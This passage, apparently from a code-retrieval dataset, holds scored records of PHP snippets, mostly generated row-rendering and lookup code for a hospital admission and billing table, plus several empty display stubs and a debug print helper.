\"\";\n\t\t\t$this->pimpinan_blud->TooltipValue = \"\";\n\n\t\t\t// nip_pimpinan\n\t\t\t$this->nip_pimpinan->LinkCustomAttributes = \"\";\n\t\t\t$this->nip_pimpinan->HrefValue = \"\";\n\t\t\t$this->nip_pimpinan->TooltipValue = \"\";\n\n\t\t\t// opd\n\t\t\t$this->opd->LinkCustomAttributes = \"\";\n\t\t\t$this->opd->HrefValue = \"\";\n\t\t\t$this->opd->TooltipValue = \"\";\n\n\t\t\t// urusan_pemerintahan\n\t\t\t$this->urusan_pemerintahan->LinkCustomAttributes = \"\";\n\t\t\t$this->urusan_pemerintahan->HrefValue = \"\";\n\t\t\t$this->urusan_pemerintahan->TooltipValue = \"\";\n\n\t\t\t// tgl_sptb\n\t\t\t$this->tgl_sptb->LinkCustomAttributes = \"\";\n\t\t\t$this->tgl_sptb->HrefValue = \"\";\n\t\t\t$this->tgl_sptb->TooltipValue = \"\";\n\n\t\t\t// no_sptb\n\t\t\t$this->no_sptb->LinkCustomAttributes = \"\";\n\t\t\t$this->no_sptb->HrefValue = \"\";\n\t\t\t$this->no_sptb->TooltipValue = \"\";\n\n\t\t\t// status_advis\n\t\t\t$this->status_advis->LinkCustomAttributes = \"\";\n\t\t\t$this->status_advis->HrefValue = \"\";\n\t\t\t$this->status_advis->TooltipValue = \"\";\n\n\t\t\t// id_spj\n\t\t\t$this->id_spj->LinkCustomAttributes = \"\";\n\t\t\t$this->id_spj->HrefValue = \"\";\n\t\t\t$this->id_spj->TooltipValue = \"\";\n\t\t}\n\n\t\t// Call Row Rendered event\n\t\tif ($this->RowType <> EW_ROWTYPE_AGGREGATEINIT)\n\t\t\t$this->Row_Rendered();\n\t}", "title": "" }, { "docid": "64ca047c763cbf564dd5de6f46e00c8a", "score": "0.59561753", "text": "public function display(){}", "title": "" }, { "docid": "4818517b75948ca7fa854c5b2c2f62ad", "score": "0.5919329", "text": "private function buildDisplayFields() {\n\tif(count($this->displayFields) < 1) {\n $row = $this->dataSource[0];\n foreach($row as $field=>$value) {\n $this->displayFields[$field] = $field;\n }\n $this->displaySource = $this->dataSource;\n\t}\n }", "title": "" }, { "docid": "95783e6abc1245b7e8cffd3693ab5ec8", "score": "0.5916516", "text": "function preinit()\n {\n parent::preinit();\n\n // go to last position\n if ($this->_currentpos > 0)\n {\n $this->gotoPos($this->_currentpos);\n /*\n $ds = $this->_datasource->DataSet;\n for ($x = 0; $x < $this->_currentpos; $x++)\n {\n $ds->next();\n }\n */\n }\n\n $submittedValue = $this->input->{$this->_name};\n\n if (is_object($submittedValue) && $this->_datasource != null && $this->_datasource->DataSet != null)\n {\n $value = $submittedValue->asString();\n $this->linkClicked($value);\n }\n }", "title": "" }, { "docid": "9c09d45450cb788f3932fa8a5d9ffef7", "score": "0.5911239", "text": "public function setDispFields() {}", "title": "" }, { "docid": "b9dd081a13dffc9dba55ad228ba8610b", "score": "0.5907794", "text": "abstract function showdata();", "title": "" }, { "docid": "4cff5dbeae018542009cae6e4b600ffe", "score": "0.58544505", "text": "public function display()\n {\n // Not used\n }", "title": "" }, { "docid": "1379436d40ca6d56168a3608247f3de3", "score": "0.5833523", "text": "abstract public function getForDisplay();", "title": "" }, { "docid": "ea5a78ff86b785cab1dfe5df3d456401", "score": "0.5824346", "text": "function set_values_before_show() {\n\t\tglobal $r;\n\t\tglobal $t;\n\n\t\t$t->set_var(\"saved_category_order\", $r->get_value(\"category_order\"));\n\t}", "title": "" }, { "docid": "5d9b8e80645da20becfacec6468ad03e", "score": "0.5812866", "text": "public function display_rows()\n {\n }", "title": "" }, { "docid": "5d9b8e80645da20becfacec6468ad03e", "score": "0.5812866", "text": "public function display_rows()\n {\n }", "title": "" }, { "docid": "0c03f71aabcb5a7ab10954d1dbdb0c42", "score": "0.5811028", "text": "public function debugRowValues(){\n \t\t//if not in a loop where using theValues() this must be done at least one time\n \t\tif($this->start) $this->theValues();\n \t\t\n \t\techo \"<pre>\";\n \t\tif(empty($this->data)){\n \t\t\techo \"Error: no data avaliable\";\n \t\t}else{\n \t\t\tprint_r($this->data);\n\t \t}\n \t\techo \"</pre>\";\n \t}", "title": "" }, { "docid": "9fd15a3b7dcf1652a1139351526350e9", "score": "0.5802888", "text": "public function display() {}", "title": "" }, { "docid": "9fd15a3b7dcf1652a1139351526350e9", "score": "0.5802888", "text": "public function display() {}", "title": "" }, { "docid": "d3dcc0c2f2c91bfb3f15e08a248043d6", "score": "0.5778333", "text": "function _getValue(){\n\t\tparent::_getValue();\n\t}", "title": "" }, { "docid": "2f99ab31e49759ed51f1051701c0f739", "score": "0.57757837", "text": "function RenderRow() {\n\t\tglobal $Security, $Language, $gsLanguage;\n\n\t\t// Initialize URLs\n\t\t// Convert decimal values if posted back\n\n\t\tif ($this->TOT_TRF_TIND_DOKTER->FormValue == $this->TOT_TRF_TIND_DOKTER->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_TRF_TIND_DOKTER->CurrentValue)))\n\t\t\t$this->TOT_TRF_TIND_DOKTER->CurrentValue = ew_StrToFloat($this->TOT_TRF_TIND_DOKTER->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_BHP_DOKTER->FormValue == $this->TOT_BHP_DOKTER->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_BHP_DOKTER->CurrentValue)))\n\t\t\t$this->TOT_BHP_DOKTER->CurrentValue = ew_StrToFloat($this->TOT_BHP_DOKTER->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_TRF_PERAWAT->FormValue == $this->TOT_TRF_PERAWAT->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_TRF_PERAWAT->CurrentValue)))\n\t\t\t$this->TOT_TRF_PERAWAT->CurrentValue = ew_StrToFloat($this->TOT_TRF_PERAWAT->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_BHP_PERAWAT->FormValue == $this->TOT_BHP_PERAWAT->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_BHP_PERAWAT->CurrentValue)))\n\t\t\t$this->TOT_BHP_PERAWAT->CurrentValue = ew_StrToFloat($this->TOT_BHP_PERAWAT->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_TRF_DOKTER->FormValue == $this->TOT_TRF_DOKTER->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_TRF_DOKTER->CurrentValue)))\n\t\t\t$this->TOT_TRF_DOKTER->CurrentValue = ew_StrToFloat($this->TOT_TRF_DOKTER->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_BIAYA_RAD->FormValue == $this->TOT_BIAYA_RAD->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_BIAYA_RAD->CurrentValue)))\n\t\t\t$this->TOT_BIAYA_RAD->CurrentValue = ew_StrToFloat($this->TOT_BIAYA_RAD->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_BIAYA_CDRPOLI->FormValue == $this->TOT_BIAYA_CDRPOLI->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_BIAYA_CDRPOLI->CurrentValue)))\n\t\t\t$this->TOT_BIAYA_CDRPOLI->CurrentValue = ew_StrToFloat($this->TOT_BIAYA_CDRPOLI->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_BIAYA_LAB_IGD->FormValue == $this->TOT_BIAYA_LAB_IGD->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_BIAYA_LAB_IGD->CurrentValue)))\n\t\t\t$this->TOT_BIAYA_LAB_IGD->CurrentValue = ew_StrToFloat($this->TOT_BIAYA_LAB_IGD->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_BIAYA_OKSIGEN->FormValue == $this->TOT_BIAYA_OKSIGEN->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_BIAYA_OKSIGEN->CurrentValue)))\n\t\t\t$this->TOT_BIAYA_OKSIGEN->CurrentValue = ew_StrToFloat($this->TOT_BIAYA_OKSIGEN->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOTAL_BIAYA_OBAT->FormValue == $this->TOTAL_BIAYA_OBAT->CurrentValue && is_numeric(ew_StrToFloat($this->TOTAL_BIAYA_OBAT->CurrentValue)))\n\t\t\t$this->TOTAL_BIAYA_OBAT->CurrentValue = ew_StrToFloat($this->TOTAL_BIAYA_OBAT->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->biaya_obat->FormValue == $this->biaya_obat->CurrentValue && is_numeric(ew_StrToFloat($this->biaya_obat->CurrentValue)))\n\t\t\t$this->biaya_obat->CurrentValue = ew_StrToFloat($this->biaya_obat->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->biaya_retur_obat->FormValue == $this->biaya_retur_obat->CurrentValue && is_numeric(ew_StrToFloat($this->biaya_retur_obat->CurrentValue)))\n\t\t\t$this->biaya_retur_obat->CurrentValue = ew_StrToFloat($this->biaya_retur_obat->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_BIAYA_GIZI->FormValue == $this->TOT_BIAYA_GIZI->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_BIAYA_GIZI->CurrentValue)))\n\t\t\t$this->TOT_BIAYA_GIZI->CurrentValue = ew_StrToFloat($this->TOT_BIAYA_GIZI->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_BIAYA_TMO->FormValue == $this->TOT_BIAYA_TMO->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_BIAYA_TMO->CurrentValue)))\n\t\t\t$this->TOT_BIAYA_TMO->CurrentValue = ew_StrToFloat($this->TOT_BIAYA_TMO->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_BIAYA_AMBULAN->FormValue == $this->TOT_BIAYA_AMBULAN->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_BIAYA_AMBULAN->CurrentValue)))\n\t\t\t$this->TOT_BIAYA_AMBULAN->CurrentValue = ew_StrToFloat($this->TOT_BIAYA_AMBULAN->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_BIAYA_FISIO->FormValue == $this->TOT_BIAYA_FISIO->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_BIAYA_FISIO->CurrentValue)))\n\t\t\t$this->TOT_BIAYA_FISIO->CurrentValue = ew_StrToFloat($this->TOT_BIAYA_FISIO->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_BIAYA_LAINLAIN->FormValue == $this->TOT_BIAYA_LAINLAIN->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_BIAYA_LAINLAIN->CurrentValue)))\n\t\t\t$this->TOT_BIAYA_LAINLAIN->CurrentValue = ew_StrToFloat($this->TOT_BIAYA_LAINLAIN->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_BIAYA_AKOMODASI->FormValue == $this->TOT_BIAYA_AKOMODASI->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_BIAYA_AKOMODASI->CurrentValue)))\n\t\t\t$this->TOT_BIAYA_AKOMODASI->CurrentValue = ew_StrToFloat($this->TOT_BIAYA_AKOMODASI->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOTAL_BIAYA_ASKEP->FormValue == $this->TOTAL_BIAYA_ASKEP->CurrentValue && is_numeric(ew_StrToFloat($this->TOTAL_BIAYA_ASKEP->CurrentValue)))\n\t\t\t$this->TOTAL_BIAYA_ASKEP->CurrentValue = ew_StrToFloat($this->TOTAL_BIAYA_ASKEP->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOTAL_BIAYA_SIMRS->FormValue == $this->TOTAL_BIAYA_SIMRS->CurrentValue && is_numeric(ew_StrToFloat($this->TOTAL_BIAYA_SIMRS->CurrentValue)))\n\t\t\t$this->TOTAL_BIAYA_SIMRS->CurrentValue = ew_StrToFloat($this->TOTAL_BIAYA_SIMRS->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_PENJ_NMEDIS->FormValue == $this->TOT_PENJ_NMEDIS->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_PENJ_NMEDIS->CurrentValue)))\n\t\t\t$this->TOT_PENJ_NMEDIS->CurrentValue = ew_StrToFloat($this->TOT_PENJ_NMEDIS->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_TIND_RAJAL->FormValue == $this->TOT_TIND_RAJAL->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_TIND_RAJAL->CurrentValue)))\n\t\t\t$this->TOT_TIND_RAJAL->CurrentValue = ew_StrToFloat($this->TOT_TIND_RAJAL->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->TOT_TIND_IGD->FormValue == $this->TOT_TIND_IGD->CurrentValue && is_numeric(ew_StrToFloat($this->TOT_TIND_IGD->CurrentValue)))\n\t\t\t$this->TOT_TIND_IGD->CurrentValue = ew_StrToFloat($this->TOT_TIND_IGD->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->iuran_kelas_lama->FormValue == $this->iuran_kelas_lama->CurrentValue && is_numeric(ew_StrToFloat($this->iuran_kelas_lama->CurrentValue)))\n\t\t\t$this->iuran_kelas_lama->CurrentValue = ew_StrToFloat($this->iuran_kelas_lama->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->iuran_kelas_baru->FormValue == $this->iuran_kelas_baru->CurrentValue && is_numeric(ew_StrToFloat($this->iuran_kelas_baru->CurrentValue)))\n\t\t\t$this->iuran_kelas_baru->CurrentValue = ew_StrToFloat($this->iuran_kelas_baru->CurrentValue);\n\n\t\t// Call Row_Rendering event\n\t\t$this->Row_Rendering();\n\n\t\t// Common render codes for all row types\n\t\t// id_admission\n\t\t// nomr\n\t\t// ket_nama\n\t\t// ket_tgllahir\n\t\t// ket_alamat\n\t\t// parent_nomr\n\t\t// dokterpengirim\n\t\t// statusbayar\n\t\t// kirimdari\n\t\t// keluargadekat\n\t\t// panggungjawab\n\t\t// masukrs\n\t\t// noruang\n\t\t// tempat_tidur_id\n\t\t// nott\n\t\t// deposit\n\t\t// keluarrs\n\t\t// icd_masuk\n\t\t// icd_keluar\n\t\t// NIP\n\t\t// noruang_asal\n\t\t// nott_asal\n\t\t// tgl_pindah\n\t\t// kd_rujuk\n\t\t// st_bayar\n\t\t// dokter_penanggungjawab\n\t\t// perawat\n\t\t// KELASPERAWATAN_ID\n\t\t// LOS\n\t\t// TOT_TRF_TIND_DOKTER\n\t\t// TOT_BHP_DOKTER\n\t\t// TOT_TRF_PERAWAT\n\t\t// TOT_BHP_PERAWAT\n\t\t// TOT_TRF_DOKTER\n\t\t// TOT_BIAYA_RAD\n\t\t// TOT_BIAYA_CDRPOLI\n\t\t// TOT_BIAYA_LAB_IGD\n\t\t// TOT_BIAYA_OKSIGEN\n\t\t// TOTAL_BIAYA_OBAT\n\t\t// LINK_SET_KELAS\n\t\t// biaya_obat\n\t\t// biaya_retur_obat\n\t\t// TOT_BIAYA_GIZI\n\t\t// TOT_BIAYA_TMO\n\t\t// TOT_BIAYA_AMBULAN\n\t\t// TOT_BIAYA_FISIO\n\t\t// TOT_BIAYA_LAINLAIN\n\t\t// jenisperawatan_id\n\t\t// status_transaksi\n\t\t// statuskeluarranap_id\n\t\t// TOT_BIAYA_AKOMODASI\n\t\t// TOTAL_BIAYA_ASKEP\n\t\t// TOTAL_BIAYA_SIMRS\n\t\t// TOT_PENJ_NMEDIS\n\t\t// LINK_MASTERDETAIL\n\t\t// NO_SKP\n\t\t// LINK_PELAYANAN_OBAT\n\t\t// TOT_TIND_RAJAL\n\t\t// TOT_TIND_IGD\n\t\t// tanggal_pengembalian_status\n\t\t// naik_kelas\n\t\t// iuran_kelas_lama\n\t\t// iuran_kelas_baru\n\t\t// ketrangan_naik_kelas\n\t\t// tgl_pengiriman_ad_klaim\n\t\t// diagnosa_keluar\n\t\t// sep_tglsep\n\t\t// sep_tglrujuk\n\t\t// sep_kodekelasrawat\n\t\t// sep_norujukan\n\t\t// sep_kodeppkasal\n\t\t// sep_namappkasal\n\t\t// sep_kodeppkpelayanan\n\t\t// sep_namappkpelayanan\n\t\t// t_admissioncol\n\t\t// sep_jenisperawatan\n\t\t// sep_catatan\n\t\t// sep_kodediagnosaawal\n\t\t// sep_namadiagnosaawal\n\t\t// sep_lakalantas\n\t\t// sep_lokasilaka\n\t\t// sep_user\n\t\t// sep_flag_cekpeserta\n\t\t// sep_flag_generatesep\n\t\t// sep_flag_mapingsep\n\t\t// sep_nik\n\t\t// sep_namapeserta\n\t\t// sep_jeniskelamin\n\t\t// sep_pisat\n\t\t// sep_tgllahir\n\t\t// sep_kodejeniskepesertaan\n\t\t// sep_namajeniskepesertaan\n\t\t// sep_kodepolitujuan\n\t\t// sep_namapolitujuan\n\t\t// ket_jeniskelamin\n\t\t// sep_nokabpjs\n\t\t// counter_cetak_sep\n\t\t// sep_petugas_hapus_sep\n\t\t// sep_petugas_set_tgl_pulang\n\t\t// sep_jam_generate_sep\n\t\t// sep_status_peserta\n\t\t// sep_umur_pasien_sekarang\n\t\t// ket_title\n\t\t// status_daftar_ranap\n\t\t// IBS_SETMARKING\n\t\t// IBS_PATOLOGI\n\t\t// IBS_JENISANESTESI\n\t\t// IBS_NO_OK\n\t\t// IBS_ASISSTEN\n\t\t// IBS_JAM_ELEFTIF\n\t\t// IBS_JAM_ELEKTIF_SELESAI\n\t\t// IBS_JAM_CYTO\n\t\t// IBS_JAM_CYTO_SELESAI\n\t\t// IBS_TGL_DFTR_OP\n\t\t// IBS_TGL_OP\n\t\t// grup_ruang_id\n\t\t// status_order_ibs\n\n\t\tif ($this->RowType == EW_ROWTYPE_VIEW) { // View row\n\n\t\t// id_admission\n\t\t$this->id_admission->ViewValue = $this->id_admission->CurrentValue;\n\t\t$this->id_admission->ViewCustomAttributes = \"\";\n\n\t\t// nomr\n\t\t$this->nomr->ViewValue = $this->nomr->CurrentValue;\n\t\tif (strval($this->nomr->CurrentValue) <> \"\") {\n\t\t\t$sFilterWrk = \"`NOMR`\" . ew_SearchString(\"=\", $this->nomr->CurrentValue, EW_DATATYPE_STRING, \"\");\n\t\t$sSqlWrk = \"SELECT `NOMR`, `NOMR` AS `DispFld`, `NAMA` AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `m_pasien`\";\n\t\t$sWhereWrk = \"\";\n\t\t$this->nomr->LookupFilters = array();\n\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t$this->Lookup_Selecting($this->nomr, $sWhereWrk); // Call Lookup selecting\n\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\tif ($rswrk && !$rswrk->EOF) { // Lookup values found\n\t\t\t\t$arwrk = array();\n\t\t\t\t$arwrk[1] = $rswrk->fields('DispFld');\n\t\t\t\t$arwrk[2] = $rswrk->fields('Disp2Fld');\n\t\t\t\t$this->nomr->ViewValue = $this->nomr->DisplayValue($arwrk);\n\t\t\t\t$rswrk->Close();\n\t\t\t} else {\n\t\t\t\t$this->nomr->ViewValue = $this->nomr->CurrentValue;\n\t\t\t}\n\t\t} else {\n\t\t\t$this->nomr->ViewValue = NULL;\n\t\t}\n\t\t$this->nomr->ViewCustomAttributes = \"\";\n\n\t\t// ket_nama\n\t\t$this->ket_nama->ViewValue = $this->ket_nama->CurrentValue;\n\t\t$this->ket_nama->ViewCustomAttributes = \"\";\n\n\t\t// ket_tgllahir\n\t\t$this->ket_tgllahir->ViewValue = $this->ket_tgllahir->CurrentValue;\n\t\t$this->ket_tgllahir->ViewValue = ew_FormatDateTime($this->ket_tgllahir->ViewValue, 0);\n\t\t$this->ket_tgllahir->ViewCustomAttributes = \"\";\n\n\t\t// ket_alamat\n\t\t$this->ket_alamat->ViewValue = $this->ket_alamat->CurrentValue;\n\t\t$this->ket_alamat->ViewCustomAttributes = \"\";\n\n\t\t// parent_nomr\n\t\t$this->parent_nomr->ViewValue = $this->parent_nomr->CurrentValue;\n\t\t$this->parent_nomr->ViewCustomAttributes = \"\";\n\n\t\t// dokterpengirim\n\t\tif (strval($this->dokterpengirim->CurrentValue) <> \"\") {\n\t\t\t$sFilterWrk = \"`KDDOKTER`\" . ew_SearchString(\"=\", $this->dokterpengirim->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t$sSqlWrk = \"SELECT `KDDOKTER`, `NAMADOKTER` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `m_dokter`\";\n\t\t$sWhereWrk = \"\";\n\t\t$this->dokterpengirim->LookupFilters = array();\n\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t$this->Lookup_Selecting($this->dokterpengirim, $sWhereWrk); // Call Lookup selecting\n\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\tif ($rswrk && !$rswrk->EOF) { // Lookup values found\n\t\t\t\t$arwrk = array();\n\t\t\t\t$arwrk[1] = $rswrk->fields('DispFld');\n\t\t\t\t$this->dokterpengirim->ViewValue = $this->dokterpengirim->DisplayValue($arwrk);\n\t\t\t\t$rswrk->Close();\n\t\t\t} else {\n\t\t\t\t$this->dokterpengirim->ViewValue = $this->dokterpengirim->CurrentValue;\n\t\t\t}\n\t\t} else {\n\t\t\t$this->dokterpengirim->ViewValue = NULL;\n\t\t}\n\t\t$this->dokterpengirim->ViewCustomAttributes = \"\";\n\n\t\t// statusbayar\n\t\tif (strval($this->statusbayar->CurrentValue) <> \"\") {\n\t\t\t$sFilterWrk = \"`KODE`\" . ew_SearchString(\"=\", $this->statusbayar->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t$sSqlWrk = \"SELECT `KODE`, `NAMA` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `m_carabayar`\";\n\t\t$sWhereWrk = \"\";\n\t\t$this->statusbayar->LookupFilters = array();\n\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t$this->Lookup_Selecting($this->statusbayar, $sWhereWrk); // Call Lookup selecting\n\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\tif ($rswrk && !$rswrk->EOF) { // Lookup values found\n\t\t\t\t$arwrk = array();\n\t\t\t\t$arwrk[1] = $rswrk->fields('DispFld');\n\t\t\t\t$this->statusbayar->ViewValue = $this->statusbayar->DisplayValue($arwrk);\n\t\t\t\t$rswrk->Close();\n\t\t\t} else {\n\t\t\t\t$this->statusbayar->ViewValue = $this->statusbayar->CurrentValue;\n\t\t\t}\n\t\t} else {\n\t\t\t$this->statusbayar->ViewValue = NULL;\n\t\t}\n\t\t$this->statusbayar->ViewCustomAttributes = \"\";\n\n\t\t// kirimdari\n\t\t$this->kirimdari->ViewValue = $this->kirimdari->CurrentValue;\n\t\tif (strval($this->kirimdari->CurrentValue) <> \"\") {\n\t\t\t$sFilterWrk = \"`kode`\" . ew_SearchString(\"=\", $this->kirimdari->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t$sSqlWrk = \"SELECT `kode`, `nama` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `m_poly`\";\n\t\t$sWhereWrk = \"\";\n\t\t$this->kirimdari->LookupFilters = array();\n\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t$this->Lookup_Selecting($this->kirimdari, $sWhereWrk); // Call Lookup selecting\n\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\tif ($rswrk && !$rswrk->EOF) { // Lookup values found\n\t\t\t\t$arwrk = array();\n\t\t\t\t$arwrk[1] = $rswrk->fields('DispFld');\n\t\t\t\t$this->kirimdari->ViewValue = $this->kirimdari->DisplayValue($arwrk);\n\t\t\t\t$rswrk->Close();\n\t\t\t} else {\n\t\t\t\t$this->kirimdari->ViewValue = $this->kirimdari->CurrentValue;\n\t\t\t}\n\t\t} else {\n\t\t\t$this->kirimdari->ViewValue = NULL;\n\t\t}\n\t\t$this->kirimdari->ViewCustomAttributes = \"\";\n\n\t\t// keluargadekat\n\t\t$this->keluargadekat->ViewValue = $this->keluargadekat->CurrentValue;\n\t\t$this->keluargadekat->ViewCustomAttributes = \"\";\n\n\t\t// panggungjawab\n\t\t$this->panggungjawab->ViewValue = $this->panggungjawab->CurrentValue;\n\t\t$this->panggungjawab->ViewCustomAttributes = \"\";\n\n\t\t// masukrs\n\t\t$this->masukrs->ViewValue = $this->masukrs->CurrentValue;\n\t\t$this->masukrs->ViewValue = ew_FormatDateTime($this->masukrs->ViewValue, 11);\n\t\t$this->masukrs->ViewCustomAttributes = \"\";\n\n\t\t// noruang\n\t\tif (strval($this->noruang->CurrentValue) <> \"\") {\n\t\t\t$sFilterWrk = \"`no`\" . ew_SearchString(\"=\", $this->noruang->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t$sSqlWrk = \"SELECT `no`, `nama` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `m_ruang`\";\n\t\t$sWhereWrk = \"\";\n\t\t$this->noruang->LookupFilters = array();\n\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t$this->Lookup_Selecting($this->noruang, $sWhereWrk); // Call Lookup selecting\n\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\tif ($rswrk && !$rswrk->EOF) { // Lookup values found\n\t\t\t\t$arwrk = array();\n\t\t\t\t$arwrk[1] = $rswrk->fields('DispFld');\n\t\t\t\t$this->noruang->ViewValue = $this->noruang->DisplayValue($arwrk);\n\t\t\t\t$rswrk->Close();\n\t\t\t} else {\n\t\t\t\t$this->noruang->ViewValue = $this->noruang->CurrentValue;\n\t\t\t}\n\t\t} else {\n\t\t\t$this->noruang->ViewValue = NULL;\n\t\t}\n\t\t$this->noruang->ViewCustomAttributes = \"\";\n\n\t\t// tempat_tidur_id\n\t\tif (strval($this->tempat_tidur_id->CurrentValue) <> \"\") {\n\t\t\t$sFilterWrk = \"`id`\" . ew_SearchString(\"=\", $this->tempat_tidur_id->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t$sSqlWrk = \"SELECT `id`, `no_tt` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `m_detail_tempat_tidur`\";\n\t\t$sWhereWrk = \"\";\n\t\t$this->tempat_tidur_id->LookupFilters = array();\n\t\t$lookuptblfilter = \"isnull(`KETERANGAN`)\";\n\t\tew_AddFilter($sWhereWrk, $lookuptblfilter);\n\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t$this->Lookup_Selecting($this->tempat_tidur_id, $sWhereWrk); // Call Lookup selecting\n\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\tif ($rswrk && !$rswrk->EOF) { // Lookup values found\n\t\t\t\t$arwrk = array();\n\t\t\t\t$arwrk[1] = $rswrk->fields('DispFld');\n\t\t\t\t$this->tempat_tidur_id->ViewValue = $this->tempat_tidur_id->DisplayValue($arwrk);\n\t\t\t\t$rswrk->Close();\n\t\t\t} else {\n\t\t\t\t$this->tempat_tidur_id->ViewValue = $this->tempat_tidur_id->CurrentValue;\n\t\t\t}\n\t\t} else {\n\t\t\t$this->tempat_tidur_id->ViewValue = NULL;\n\t\t}\n\t\t$this->tempat_tidur_id->ViewCustomAttributes = \"\";\n\n\t\t// nott\n\t\t$this->nott->ViewValue = $this->nott->CurrentValue;\n\t\t$this->nott->ViewCustomAttributes = \"\";\n\n\t\t// deposit\n\t\t$this->deposit->ViewValue = $this->deposit->CurrentValue;\n\t\t$this->deposit->ViewCustomAttributes = \"\";\n\n\t\t// keluarrs\n\t\t$this->keluarrs->ViewValue = $this->keluarrs->CurrentValue;\n\t\t$this->keluarrs->ViewValue = ew_FormatDateTime($this->keluarrs->ViewValue, 0);\n\t\t$this->keluarrs->ViewCustomAttributes = \"\";\n\n\t\t// icd_masuk\n\t\t$this->icd_masuk->ViewValue = $this->icd_masuk->CurrentValue;\n\t\tif (strval($this->icd_masuk->CurrentValue) <> \"\") {\n\t\t\t$sFilterWrk = \"`CODE`\" . ew_SearchString(\"=\", $this->icd_masuk->CurrentValue, EW_DATATYPE_STRING, \"\");\n\t\t$sSqlWrk = \"SELECT `CODE`, `CODE` AS `DispFld`, `STR` AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `vw_diagnosa_eklaim`\";\n\t\t$sWhereWrk = \"\";\n\t\t$this->icd_masuk->LookupFilters = array();\n\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t$this->Lookup_Selecting($this->icd_masuk, $sWhereWrk); // Call Lookup selecting\n\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = 